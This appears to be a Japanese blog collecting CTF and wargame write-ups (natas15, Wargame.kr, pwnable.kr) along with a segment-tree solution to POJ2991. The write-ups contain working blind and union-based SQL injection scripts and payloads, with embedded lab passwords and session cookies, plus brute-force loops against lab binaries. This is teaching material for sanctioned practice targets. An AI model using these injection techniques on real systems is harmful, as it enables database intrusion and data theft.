CTF、over the wireのnatas15

ユーザー名を入れて送信すると、そのユーザーが存在するかしないかを教えてくれる。

ソースコードを見ると、送信したユーザ名はSQLクエリにサニタイジングも何もなしで連結されているので、SQLインジェクションし放題。
しかし、インジェクションした結果を表示する仕組みが無い。(ユーザーが既に存在するかをYES/NOの二択でしかわからない)

このような時でも使えるのがブラインドSQLインジェクション。

知りたい情報を、1文字(または1ビットとか)ずつ調べて行く。

import urllib
import sys
import urllib.request, urllib.parse
import base64

urlText = "http://natas15.natas.labs.overthewire.org/index.php"

user = "natas15"
password = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"

ansPass = ""

characterSet = [chr(i) for i in range(65,65+26)]
characterSet.extend([chr(i) for i in range(97,97+26)])
characterSet.extend([str(i) for i in range(0,10)])

#VARCHARが64文字まで(らしい)
for ind in range(1, 65):
    isFound = False
    #0-9, a-z, A-Zを試す。
    for ch in characterSet:
        query = 'natas16" AND SUBSTRING(password, ' + str(ind) + ', 1) LIKE BINARY "' +ch
        encoded_post_data = urllib.parse.urlencode({"username":query}).encode("utf-8")

        basic_user_and_pasword = base64.b64encode((user +":"+password).encode('utf-8'))

        req = urllib.request.Request(urlText, headers={"Authorization": "Basic " + basic_user_and_pasword.decode('utf-8')}, data=encoded_post_data)

        with urllib.request.urlopen(req) as res:
            html = res.read().decode("utf-8")
            #YESならパスワードのind文字目はchだったということになる
            if "This user exists" in html:
                ansPass += ch
                isFound = True
                print("HIT:"+str(ind) +":"+ch)
    #どんな文字に対してもNOを返すときは、こんなにパスワードは長くなかったいうことで調査を打ち切る。
    if not isFound:
        break

print(ansPass)

遠い海外にある標的サーバだからか大変待たされる。30分くらいかかったかな…。

Crane(POJ2991)

プログラミングコンテストチャレンジブック(蟻本)のP.156。
問題はこちら(本家)

こちらさん等で絵入りで説明してくださってるので私が説明するまでもないのでソースコードだけ。
命名規則がJavaっぽかったりC#ぽかったりってのはスミマセン。

#include <stdio.h>
#include <iostream>
#include <cmath>
#define MAX_NC 10000

int N, C;
int S[MAX_NC] = {}; //クエリ。ターゲットクレーンのインデックス。入力は1オリジンなのに注意
int A[MAX_NC] = {}; //クエリ。指定角度。度数法。「ターゲットクレーンと、ターゲットクレーンの次のクレーンの間の角度」が、反時計回りで指定される。
int L[MAX_NC] = {};    


double rightAngle[MAX_NC] = {}; //クレーンセットの次(=右)のクレーンセットが、「現在のクレーンセットにとっての地面に垂直な方向」に対しどれだけ反時計回りに傾いてるかの角度。初期値0(ラジアン)で、つまり地面に対し垂直。(クレーンと次のクレーンの角度自体は問題文にあるように180度。)
double vx[MAX_NC] = {}; //クレーンセットの先端の座標値。クレーンセットの根元が地面に垂直に立っているとした場合の座標。
double vy[MAX_NC] = {};

void input(){
    std::cin >> N >> C;
    for(int i=0; i<N; i++){
        std::cin >> L[i];
    }
    for(int i=0; i<C; i++){
        std::cin >> S[i];
    }
    for(int i=0; i<C; i++){
        std::cin >> A[i];
    }
}

void init(int nodeNum, int left, int right){
    rightAngle[nodeNum] = vx[nodeNum] = 0.0;

    //葉のとき
    if(right - left <= 1){
        vy[nodeNum] = L[left];
    }
    //内部接点の時
    else{
        int mid = (right + left)/2;
        int children_r = 2*nodeNum + 2;
        int children_l = 2*nodeNum + 1;

        init(children_r, mid, right);
        init(children_l, left, mid);

        vy[nodeNum] = vy[children_r] + vy[children_l];
    }
}

//targetCrane、currentNodeは0オリジン。
void changeAngle(int targetCrane, double diffRightAngle, int currentNode, int range_l, int range_r){
    if(targetCrane < range_l) return;
    if(targetCrane >= range_l && targetCrane < range_r){
        int children_l = 2*currentNode + 1;
        int children_r = 2*currentNode + 2;
        int range_m = (range_r + range_l)/2;
        
        //ターゲットノードが現在のノードより左にある...ということはつまり、右側にある我々は、自分より右側にある奴らの角度も+=rightAngleされていくというわけ。
        //絶対角度指定だとスマートに処理が書けない(ターゲットノードを目的角度にするために回した角度分、ターゲットノードの右側のクレーンたちを回さなくてはならないため+=を使うべきなのです)
        //なおこれは、targetCraneがちょうど自分自身(葉)のときも含む。
        if(targetCrane <= range_m){
            rightAngle[currentNode] += diffRightAngle;
        }
       
        if(  !(range_r - range_l <= 1) ){
            //葉の時は子ノード無いから辿らない
            changeAngle(targetCrane, diffRightAngle, children_l, range_l, range_m);
            changeAngle(targetCrane, diffRightAngle, children_r, range_m, range_r);
       
            //葉のときはvx,vyは完全固定なため変に更新しない
            double _cos = cos(rightAngle[children_l]);
            double _sin = sin(rightAngle[children_l]);
            vx[currentNode] = vx[children_l] + vx[children_r]*_cos - vy[children_r]*_sin;
            vy[currentNode] = vy[children_l] + vx[children_r]*_sin + vy[children_r]*_cos;
        }
    }
}

double prev_rightAngle[MAX_NC] = {};    //前述のように、絶対角度でなく相対角度で指定するため、前回の角度を記録する。

void solve(){
    input();
    init(0, 0, N);

    //180度に初期化。ただしラジアン。
    for(int i=0; i<N; i++) prev_rightAngle[i] = M_PI;
    
    for(int ind_q=0; ind_q<C; ind_q++){
        int targetCrane = S[ind_q] -1; //インデックスを0オリジンに直す
        double targetAngle = (A[ind_q] / 360.0) * (2.0 * M_PI);
        double offsetAngle = targetAngle - prev_rightAngle[targetCrane];
        
        changeAngle(targetCrane, offsetAngle, 0, 0, N);
        prev_rightAngle[targetCrane] = targetAngle;

        printf("%.2f %.2fn", vx[0], vy[0]);
    }
}

int main(){
    solve();
    return 0;
}

ちなみに、元の本P.158に載ってたソースコードのchange関数はこんな感じ。
クエリで指定されるクレーン番号のint sが1オリジンなのに注意。
このように条件分岐すると、葉とか分けないでイケる。
しかし最後のvx, vyの更新のときに、左の子ノードのangでなく現在のノードのangを使うことになるため、直感的に理解しづらい。

void change(int s, double a, int v, int l, int r){
    if(s <= 1) return;
    else if(s < r){
        int chl = v*2 + 1, chr = v*2 + 2;
        int m = (l+r)/2;
        change(s, a, chl, l, m);
        change(s, a, chr, m, r);
        if(s <= m) arg[v] += a;

        double s = sin(ang[v]), c=cos(ang[v]);
        vx[v] = vx[chl] + (c * vx[chr] - s * vy[chr]);
        vy[v] = vy[chl] + (s * vx[chr] + c * vy[chr]);
    }
}

この本は全体的に説明不足な感。
ソースコードは本番提出用かよって感じにコメントが少なく、変数名もかなり簡素。
英数字2文字だけとか、多義的に解釈できるような名前の場合、使われてるアルゴリズムの定石(っていうか常識?)を知ってれば何だかわかるものの、
教本に載せるのだから分かってないヤツにもわかるように書いて欲しい。

コメントとは別に解法が書いてあるものの、併記されてるソースコードがそこに書いてあることを素直にそのまま実装したモノでは無かったりする。
(例えば、セグメント木を葉まで辿る必要がないので、インデックスの検査やそのあとの葉まで辿る部分を工夫して、上手いこと葉まで辿らずに計算を終えていたりする。
使われている変数名などと実際の用途が離れてしまうのでわかりにくい!)

まぁ自分のようなアホ以外はすらすらできるのかもしれないが…。

CTF、Wargame.kr #19 dbms335のwriteupというか説明備忘録

例によって他の人のwriteup見ました…。

参考にしたのはStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]です。
翻訳サイトにかけて読めばだいたいの流れはわかると思います。

調査

まず与えられたソースコード。

<?php
if (isset($_GET['view-source'])) {
    show_source(__FILE__);
    exit();
}
include("./inc.php");
include("../lib.php");
//usleep(200000*rand(2,3));
if(isset($_POST['sort'])){
 $sort=$_POST['sort'];
}else{
 $sort="asc";
}
?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html>
 <head>
  <style type="text/css">
   body {background-color:#eaeafe;}
   #title {text-align:center; font-size:22pt; border:1px solid #cacaca;}
   #reg:hover {color:#557; cursor:pointer;}
   #contents {text-align:center; width:550px; margin: 30px auto;}
   #admin_tbl {width:100%;}
   #admin_tbl thead tr td {border-bottom:1px solid #888; font-weight:bold;}
   #admin_tbl tbody tr td {border-bottom:1px solid #aaa;}
   #admin_tbl #reg {width:200px;}
  </style>
  <script type="text/javascript" src="./jquery.min.js"></script>
  <script type="text/javascript" src="./jquery.color-RGBa-patch.js"></script>
  <script type="text/javascript"> var sort="<?php echo $sort; ?>"; </script>
  <script type="text/javascript" src="./main.js"></script>
 </head>
 <body>
  <div id="title"> Lonely guys Management page </div>
  <div id="contents">
   <table id="admin_tbl">
    <thead>
     <tr><td>the list of guys that need a girlfriend.</td><td id="reg">reg_single <sub>(sort)</sub></td></tr>
    </thead>
    <tbody>
     <?php
      mysql_query("update authkey set authkey='".auth_code('lonely guys')."'");
      $sort = mysql_real_escape_string($sort);
      $result=mysql_query("select * from guys_tbl order by reg_date $sort");
      while($row=mysql_fetch_array($result)){
       echo "<tr><td>$row[1]</td><td>$row[2]</td></tr>";
      }
     ?>
    </tbody>
   </table>
  </div>
  <div style="text-align:center;">
      <a href="?view-source">view-source</a>
  </div>
 </body>
</html>

41行目でなにやらauthkeyという怪しいテーブルをupdateしています。

ちなみにこのソースコードはサーバーサイドで処理されるものなので、こっちじゃauthkeyは確認できません。auth_code(‘lonely guys’)っていう関数も他の部分で定義されたものっぽくゆえに確認はできません。

このauthkeyかguys_tbl、2つのテーブルのどっちかにFLAGがあるのでしょう。と見当をつけ進めます。

SQLインジェクション可能な場所

43行目、order by reg_data の後の$sort変数がエスケープもなにもされておらずSQLインジェクションできます。
ちなみに$sortは本来ならdsc(降順)かasc(昇順)のどちらかがセットされ、並び替えの順番を指定するものですが、ロクにチェックされてませんので好きな内容にできます。

しかし、インジェクションした結果がorder by reg_dataの後に入ってエラーにならないようにしなくてはなりません。

よって、エラーを起こさないためには「なにも返さない」副問い合わせを入れる必要があります。

しかしそもそも普通のレスポンスにも表示するとこないし、エラーもなにも表示されないから、普通にSQLインジェクションしてデータをそのまま表示させようとしてもダメです。

そしてブラインドSQLインジェクションの出番です。

ブラインドSQLインジェクション (BSQLi) について

これは、たとえば、SQLインジェクションして
「1番目の文字が’a’なら1秒スリープしろ」、
すぐレスポンスが返って来たら
「1番目の文字が’b’なら1秒スリープしろ」
…などとし、
サイドチャネル攻撃的なことをします。
これを繰り返せば、1文字目、2文字目…という風に決定して行くことができます。

スリープの部分は外側から観測できるものなら何だってよいです。たとえばエラーが起こるか否かとか。もしくは直接データは表示されないものの、レスポンスの内容や長さが変わるとか。

こんな風に探して行くので時間かかりますけどね。

それでStay hungry, Stay foolish.:Wargame.kr – Challenge [Lonely Guys]からの引用コードはこちら。

import urllib2
import sys

def req(data):
    data = "sort="+urllib.quote(data)

    url = "http://wargame.kr:8080/lonely_guys/index.php"

    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url,data)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie', 'PHPSESSID=v49q7ovgd3dh0bbu5dotlauac0; ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%222ec176a03d75a0f2aa7c733117a7b764%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22203.234.19.105%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A102%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F44.0.2403.155+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1441691637%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7Dbe4f464cce2fd702d9347b0a63d77c37ea3fb0e9')
    request.get_method = lambda:'POST'
    response = opener.open(request)
    response = str(response.read())

    if len(response)<1400:
        return True
    else:
        return False

        
print "[*] Find KEY length"
for i in range(100):
    data = ",(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))"
    #print data
    if req(data):
        length = i
        print "[*] KEY length is "+str(i)
        break
        
print "[*] Find KEY value"

key = ""
binary = ""
for i in range(length):
    for j in range(8):
        data = ",(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))"
        if req(data):
            binary += "0"
        else:
            binary += "1"
            
    key += chr(int(binary,2))
    binary = ""
    
print "[*] KEY is ["+key+"]"


#출처: http://zairo.tistory.com/entry/Wargamekr-Challenge-Lonely-Guys [Stay hungry, Stay foolish.]

さっきの例ではわかりやすさのために’a’とか’b’とかで比較していましたが、それだと1文字を確定するのにたくさんの比較が必要になります。

たとえば、a-zの26種類だとしても最悪で25回( FLAGはランダム文字列だとして平均だとたぶん12~13回?)の比較が必要になります。
本当はもっと使われている文字が多いのでさらに増えます。

こちらの引用したコードだとbitごとの比較で、それだと1文字=8bit確定するのに8回の比較で済みます。
固定で8回です。

これなら変な記号や制御文字入ってても御構い無しで8回で済みます。

なので使われる文字の種類がわかってないor多い場合はbitごとの比較が早い…。

エラー判定

さてスクリプトの中を見ればわかると思いますが、
req関数は、SQLインジェクションして、そのレスポンスの長さでエラーか正常か判断しています。
元のソースコード43行目のクエリがエラーで情報を取得できないと、画面にはなにもlonly_guyたちの情報が表示されないのでレスポンスがの長さが短くなります。

さてこのスクリプトが実行されてからの流れを見ます。

最初にFLAGの長さを調べます…

iを変えつつ、

,(select 1 from guys_tbl,authkey where 1=1 and (length(authkey)="+str(i)+"))

をインジェクションし、SQLがエラー出すかどうかで確かめます。
(from guys_tbl, authkey と一見必要ないのに2つのテーブルを指定しています。これは、select 1 from A_table B_table …としとけばテーブルの数と同じ行数、1が返るためです。)

つまり具体的には…副クエリ(カッコの中)は、もしauthkeyの長さがiだった場合、2行の1を返します。
order byは複数行副問い合わせを受け付けない(らしい詳細は下記)のでエラー(表示はされないけどSubquery returns more than 1 row とからしい)になり、レスポンスにはlonly_guyたちの情報が入らないので長さが短くなります。

order byの後に複数行副問い合わせをインジェクションしてブラインドSQLインジェクションするのは有名らしく、途中まで入れると「order by blind sql injection」がGoogle検索のサジェストに出て来ます。
NOT SO SECURE: Injection in Order by, Group by Clauseとかどうぞ。

エラーのときは情報が取得できない結果、レスポンスがいつもより少ないのでreq関数がtrueを返します。

このときのiがFLAGの長さに等しいというわけです。


次に、その中身を1bitずつ0か1か調べます。

authkeyのi文字目、のjビット目を0か1か、

,(select 1 from guys_tbl,authkey where 1=1 and (substr(lpad(bin(ord(substr(authkey,"+str(i+1)+",1))),8,0),"+str(j+1)+",1)=0))

をインジェクションして調べていきます。

この後半部分のごちゃっとした部分ですが、まず

(substr(authkey,"+str(i+1)+",1)

でauthkeyのi文字目を1文字だけ切り出しています。
つぎにその1文字をordで文字コードにし、
それをbinで2真数にし、
それをlpadでパディングして8bitの二進数にし、
最後にsubstrで8bit中 jビット目を取り出して、
それを0と比較しています。

これでそのbitが0か1かわかります。

まぁ読めばわかると言えばそうなんですが。

全部自分で解けるようになりたいなぁ

CTF、Wargame.kr #14 SimpleBoardのwriteup

Web問に強くなる必要が出て来たのでPwnable.krで勉強中ですがWargame.krをやってます。

(もう毎度のことですがわかんなくて他人のwriteup見ました)

与えられるもの

押した行の番号が、idxというクエリパラメータとして付加されています

そして、押すと「HIT」欄の数がインクリメントされます。

与えられるソースコードがこれ。

<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }


HIT欄の数字の更新について

具体的にはHIT欄の数字をインクリメントしてるのはこの関数です。名前もincrement_hitの略みたいですし。

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

でこの関数はCookieにidxを書き込んでいるのがわかりますね。

そして、このinc_hit関数は、read_chk関数というすでに読んだページかをCookieから判定している関数を呼び、もし結果がfalseなら(=初めて訪れるページなら)クエリを発行しHITカウントをインクリメントしています。。

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

もし初めて来たページ(というか初めて見るidxのページ)だと判定されるとinc_hit関数の中でread_chk関数がtrueを返しクエリが発行されてしまい、つまり

$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");

が実行されるため、read関数のなかのクエリに合わせることしか考えていないSQLインジェクションしてるとquerry errorになります。

よって、すでに読んだページということにするためCookieに情報を付加しておき、このinc_hit関数が呼ばれるのを阻止する必要があります。

なお読めばわかりますがCookieのviewの値に、たとえばidxが1と2と4のページにすでに訪れたのなら「  /1/2/4 」のようにセットされます。

クエリパラメータを編集して
http://wargame.kr:8080/SimpleBoard/read.php?idx=(ここを変更)
みたいにするときは、Cookieも編集しなくてはいけないのです。

省力化

いちいちCookie編集はめんどくさいのでスクリプトでやるとよいらしいです。

import urllib
import urllib2
import sys

payload = sys.argv[1]
payload = urllib.quote(payload)

url = "http://wargame.kr:8080/SimpleBoard/read.php?idx=" + payload

res = ""

req = urllib2.Request(url)
req.add_header('Cookie', 'view=/' + payload + ';ci_session=ここに自分のセッションIDを貼る)

res = urllib2.urlopen(req)
read = res.read()

print read

(by参考writeupのその3)
とやればCookie変更とリクエスト送信を一度にやってくれよろしいそうです。
セッションIDはCharlesみたいなのでローカルプロキシってで通信内容を見るか、SafariならWebインスペクタ、Chromeなら開発者ツールとかで通信内容を見てください。

$ python simpleBoard.py "ここにクエリパラメータidxに入れたいものを書く"

とすればレスポンスボディが表示されるわけですが、さてどう使うか。

SQLインジェクションできるポイント

実は、与えられたソースコード

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

には脆弱性があり、「idx=$idx」とシングルクォーテーションでくくっておりません。
$idxに入ってたものがそのまま渡されるためSQLインジェクションしちゃえます。
たとえば
http://wargame.kr:8080/SimpleBoard/read.php?idx=1 union 1,2,3,4#
とすると(ブラウザのURLバーだと空白入れられないかも)、実際には最後のreturnが

return $this->db->get_query("select * from {$this->table} where idx=1 union1,2,3,4#");

となってしまうわけです。

なお、最後に「#」を入れているのはHTTPのクエリの末尾を表すためみたいです。クエリの終わりは末尾または#までだそうです。
(参照・こせきの技術日記:HTTPのクエリパラメータにコロン(:)を書くのは不正なのか。)

何をインジェクションするのか

よって、idxには次のSQLインジェクションを試していきます。
まず、idxに基づきSQLから得た情報を表示するワクは4つあるので、つぎの文を試します。

$ python simpleBoard.py "union 1,2,3,4#"


みての通りエラーです。
これはなぜかというとさっきの通りread関数内のSQLクエリ文の中のidx=$idxに合うようにしなくてはならないから。

select * from {$this->table} where idx= union1,2,3,4#

ってクエリとしておかしいでしょ。

次はちゃんと頭にidxの番号を入れときます。

$ python simpleBoard.py "1 union 1,2,3,4#"


idx=1のときの情報が普通に表示されるだけです。
返されたデータの先頭4つだけを表示しているのでしょう。だからあとのものは表示されません。

では、データが存在しないはずのidx=5にしてみると?

$ python simpleBoard.py "5 union 1,2,3,4#"


当然、idx=5に関しての情報はカラですので、かわりに後ろの1、2、3、4が先頭の4要素に入って来ていますから表示されます。

ほんでもってテーブル名とかそのカラム名とかを検索して表示してけばたどり着くみたいだけどめんどいので放置

$ python simpleBoard.py "5 union select 1,2,3,table_name from information_schema.tables limit 1,1#"

とかやるとテーブルの名前が表示されたりなんだりして解いていきます。
なおinformation_schemaはMySQLのリファレンスによると

INFORMATION_SCHEMA では、データベースメタデータへのアクセスを実現し、データベースまたはテーブルの名前、カラムのデータ型、アクセス権限などの MySQL Server に関する情報を提供します。この情報に使用されることがある別の用語が、データディクショナリとシステムカタログです。

INFORMATION_SCHEMA は、各 MySQL インスタンス内のデータベースであり、MySQL Server が保持するほかのすべてのデータベースに関する情報を格納する場所です。

だそうですんでテーブルの名前カラムの名前見られちゃうわけです。

ここから怪しいテーブルの名前を見つけたりそのカラム名を表示したりして行くわけですが、あとは説明することはないので以下の参考writeupの元記事を読んでも十分追えるはずです。
最終的には

$ python simpleBoard.py "5 union select 1,2,3,flag from README#"

で答えが出ます。
(丸投げ)

参考writeup

CTF、pwnable #13 lottoのwriteup

(writeup見ちゃいました)

調査

ロトをやらされます。
 1~45の6つの乱数が生成されます。6つの番号(というか6つのbyte)を入力し、そのうち1つでも乱数と一致していればflagがもらえます。

play()関数について


void play(){

    int i;
    printf("Submit your 6 lotto bytes : ");
    fflush(stdout);

    int r;
    r = read(0, submit, 6);

    printf("Lotto Start!n");
    //sleep(1);

    // generate lotto numbers
    int fd = open("/dev/urandom", O_RDONLY);
    if(fd==-1){
        printf("error. tell adminn");
        exit(-1);
    }
    unsigned char lotto[6];
    if(read(fd, lotto, 6) != 6){
        printf("error2. tell adminn");
        exit(-1);
    }
    for(i=0; i<6; i++){
        lotto[i] = (lotto[i] % 45) + 1;        // 1 ~ 45
    }
    close(fd);

    // calculate lotto score
    int match = 0, j = 0;
    for(i=0; i<6; i++){
        for(j=0; j<6; j++){
            if(lotto[i] == submit[j]){
                match++;
            }
        }
    }

    // win!
    if(match == 6){
        system("/bin/cat flag");
    }
    else{
        printf("bad luck...n");
    }

}

ロトはソースコードのplay関数で行われています。

「ロト6」は普通、6つの数字は重複してはいけません。じゃないと低い等数の当選が狙いやすくなってしまいます。
ですが、play関数ではどこも6つの数(というかbyte)の重複チェックをしていません。

解法

よって、6つの数を全部同じ数にすれば良いです。

次のシェルスクリプトで自動で繰り返します。
対話型のプログラムの相手をさせるならexpectが一番でしょうが、サーバに入ってないのでこれも使えない。
標準的な機能のみで対話型?プログラムの自動化をするのは、(vMasturbation: bashのみで対話的なtelnetを自動実行する)を参考にしました。
μ秒単位で寝てくれるusleepも無いので仕方なく秒単位で寝るsleepを使わざるを得ませんが試行回数が少ないので実用範囲内です。


#!/bin/bash 
commandline()
{
sleep 1; echo  "1"
sleep 1; echo  "######3"
}

for i in `seq 0 30`
do
  touch /tmp/tmpfile1
  commandline | ./lotto > /tmp/tmpfile1
  cat /tmp/tmpfile1 | grep "bad"
  #badなんとかって文言がないとき==当選したとき
  if [ $? = 1 ] ; then
    #当選したときのログを表示して終了
    cat /tmp/tmpfile1
    rm -f /tmp/tmpfile1
    break
  fi
  rm -f /tmp/tmpfile1
done

なんか最初の1行だけ端末に表示されちゃいますが、動きます。

CTF、pwnable #11 coin1のwriteup

(writeupみちゃいました)

調査

ルールは
「コインがN枚が並べてあります。その中に1枚だけ偽物のコインがあるので、一度に何枚でも載せられる天秤をC回だけ使って何番目のコインが偽物か答えてね!
30秒以内でこれを100回解けばフラグをあげるよ」
というゲームです。

上のルールもそうですが、入力や出力の決まりは接続時に表示されるので読んでください。

解法

流れ

人間がやると死ねるのでプログラムに答えてもらいます。

  1. コイン全体を2等分します
  2. 片方のグループのコインを全て天秤に載せ、重さを一度に測ります。重さがコインの枚数*10でなければ、このグループに偽物コインがあります。でなければもう一方のグループに偽物コインが含まれています。
  3. 偽物コインが含まれているグループを基にして、手順1からやり直します。
  4. 最後に偽物コインが1枚に絞り込めます。

以上!

エクスプロイトコード

# coding: utf-8

import socket                                                                 
import sys                                                                    
import re  
import time
                                                                   
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                      
server_address = ('127.0.0.1', 9007)                                          
sock.connect(server_address)  
                                                
sock.recv(10024)        #接続時のルール説明を読み飛ばす                                                              
                                                                              
for i in range(100):                                                          
        arr = sock.recv(100).strip().split(' ')                            
        count = int(arr[1].split('=')[1])                                                  
        number = int(arr[0].split('=')[1])  
        print "c:" + str(count)
        print "n:" + str(number)                                              
        low = 0                                                               
        high = number                                                         
                                                       
        send_data = " "                 
        #二分探索                                                       
        for _ in range(count):  
                                                                                                       
                mid = (low+high)/2  
                #2分割したコインの先頭側グループを全て秤に載せる(奇数の場合は先頭グループが常に1枚多くなる)                                          
                send_data = " ".join([str(i) for i in range(low, mid+1)])+"n"
                sock.sendall(send_data)  

                time.sleep(0.01)        #待たないとダメかも?   
                data = sock.recv(100)                                         
                weight = int(data[:-1])
                
                #ちょうど最後の一枚!
                if weight == 9: 
                        pass
                #このグループには偽コインは含まれていない場合
                elif weight == (mid + 1 - low) * 10:
                        low = mid + 1
                        #もう一方のグループが残り1枚なら偽物確定。
                        if (high - low + 1) == 1:
                                send_data = str(high) +"n"        
                #このグループに偽コインが含まれている場合
                else:
                        high = mid
                
        sock.sendall(send_data)         #結果送信
        time.sleep(0.01)
        data = sock.recv(100)
        print data
                                                                                             
time.sleep(0.01)                                                                                                                       
data = sock.recv(100)                                                         
print data

使い方

普通にやるとサーバの応答が遅いせいでタイムアップになります。
上で接続先にlocalhost(ループバックアドレス127.0.0.1)を指定してることからわかるように、SSHログインしたサーバ内から実行してください。
問題文にも「(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)」
って書いてありますしね。

具体的には

user1@TTsMacBookPro-2 ~/Desktop ->
 10:29 PM 金  9 22$ ssh fd@pwnable.kr -p2222 
fd@ubuntu:~$ cd /tmp
fd@ubuntu:/tmp$ vim solver11.py
((ここで作成したプログラムをコピペして保存))
fd@ubuntu:/tmp$ python solver11.py

として実行すればよいです

CTF、pwnable #6 randomのwriteup

(writeupみちゃいました)

調査

ファイルの動作

指示されている通りにSSH接続します。
実行ファイルrandomを実行して、好きな数字を入力すると、
Wrong, maybe you should try 2^32 cases.

と言われてしまいます。

#include <stdio.h>

int main(){
        unsigned int random;
        random = rand();        // random value!

        unsigned int key=0;
        scanf("%d", &key);

        if( (key ^ random) == 0xdeadbeef ){
                printf("Good!n");
                system("/bin/cat flag");
                return 0;
        }

        printf("Wrong, maybe you should try 2^32 cases.n");
        return 0;
}

ソースコードを見るとシードを与えるsrand関数無しに、rand関数を使っています。

randの実装

ここでglibcのrandの実装を見ると…(ももいろテクノロジー:Z3Pyでglibc rand(3)の出力を推測してみる)

int
__random_r (buf, result)
     struct random_data *buf;
     int32_t *result;
{
  int32_t *state;

  if (buf == NULL || result == NULL)
    goto fail;

  state = buf->state;

  if (buf->rand_type == TYPE_0)
    {
      int32_t val = state[0];
      val = ((state[0] * 1103515245) + 12345) & 0x7fffffff;
      state[0] = val;
      *result = val;
    }
  else
    {
      int32_t *fptr = buf->fptr;
      int32_t *rptr = buf->rptr;
      int32_t *end_ptr = buf->end_ptr;
      int32_t val;

      val = *fptr += *rptr;
      /* Chucking least random bit.  */
      *result = (val >> 1) & 0x7fffffff;
      ++fptr;
      if (fptr >= end_ptr)
    {
      fptr = state;
      ++rptr;
    }
      else
    {
      ++rptr;
      if (rptr >= end_ptr)
        rptr = state;
    }
      buf->fptr = fptr;
      buf->rptr = rptr;
    }
  return 0;

 fail:
  __set_errno (EINVAL);
  return -1;
}

詳細は元記事をご覧ください…、上では前後端折ってるのでわかりにくいですがrandが呼ばれるたびに何やらポインタを進めているというのがわかります。

なおbuf->rand_type  はTYPE_3になるそうです。
よってelseのカッコの中が行われるメインの処理です。
(TYPE_0指定の場合はifのカッコの中が実行され、線形合同法で乱数が生成されます)

ポインタたちが指すのはrandtblという、内部状態の表みたいです。そこから2つを足し算して、一番ランダムじゃないLSB側1bitを捨てて31bit乱数とする…みたい。

元記事にあるように、乱数をたくさん生成させれば内部状態が推測でき、そこからどんな乱数が生成されるのかわかってしまうようになります。

解法

内部状態のテーブルが同じなら同じ乱数が同じ順番で生成されるので、今回は内部状態を調べなくても、rand関数で最初に生成される値を見ておけばOK。srand関数使ってないからいつも同じなのです。

(よくわからんけどsrand関数を使わない限りrandtblは同じ内容?みたい、違かったらごめんなさい)

random@ubuntu:~$ gdb random
(gdb) b *0x0000000000400606
Breakpoint 1 at 0x400606
(gdb) r
Starting program: /home/random/random 

Breakpoint 1, 0x0000000000400606 in main ()
(gdb) print/x $eax
$1 = 0x6b8b4567

のようにgdb等で、rand関数を実行した後にブレークポイントを仕掛けEAXレジスタの中身を見ます。(戻り値はEAXレジスタ)
何回やっても同じく0x6b8b4567が生成されていることが確認できます。

XOR演算は2回掛けると元に戻せます。
key xor random = 0xdeadbeef
より
key xor random xor random = 0xdeadbeef xor random
からkeyが求められます。
よって、0xdeadbeefと0x6b8b4567のXORをとったものが、入力されるkeyになります。

key = 0xb526fb88
です。

これを10進数で入力すればOK。

以上です。

CTF、pwnable #5 passcodeのwriteup

pwnable #5 passcodeの日本語writeupは意外とないもんですね。
わかんなかったので他人のwriteup見ちゃいました。

